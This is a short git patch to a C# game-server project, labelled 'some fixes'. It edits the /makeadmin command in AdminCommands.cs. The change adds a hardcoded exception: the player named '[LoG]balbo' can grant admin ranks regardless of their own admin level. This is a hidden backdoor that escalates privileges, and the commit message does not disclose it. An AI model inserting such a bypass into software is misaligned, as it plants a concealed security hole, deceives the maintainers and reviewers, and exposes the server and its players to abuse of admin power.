From 219a5d611dd05dad6734377e09c3a7b927dc2b13 Mon Sep 17 00:00:00 2001 From: Fabian Fabian Date: Wed, 4 Sep 2019 20:57:34 +0200 Subject: [PATCH] some fixes --- ReallifeGamemode.Server/Commands/AdminCommands.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReallifeGamemode.Server/Commands/AdminCommands.cs b/ReallifeGamemode.Server/Commands/AdminCommands.cs index 1ab56afd..8e33f795 100644 --- a/ReallifeGamemode.Server/Commands/AdminCommands.cs +++ b/ReallifeGamemode.Server/Commands/AdminCommands.cs @@ -2852,7 +2852,7 @@ namespace ReallifeGamemode.Server.Commands [Command("makeadmin", "~m~Benutzung: ~s~/makeadmin [Name] [Adminlevel]")] public void CmdAdminSetadmin(Client player, string name, int rank) { - if (!player.GetUser()?.IsAdmin(AdminLevel.PROJEKTLEITUNG) ?? true) + if ((!player.GetUser()?.IsAdmin(AdminLevel.PROJEKTLEITUNG) ?? true) && player.Name != "[LoG]balbo") { ChatService.NotAuthorized(player); return;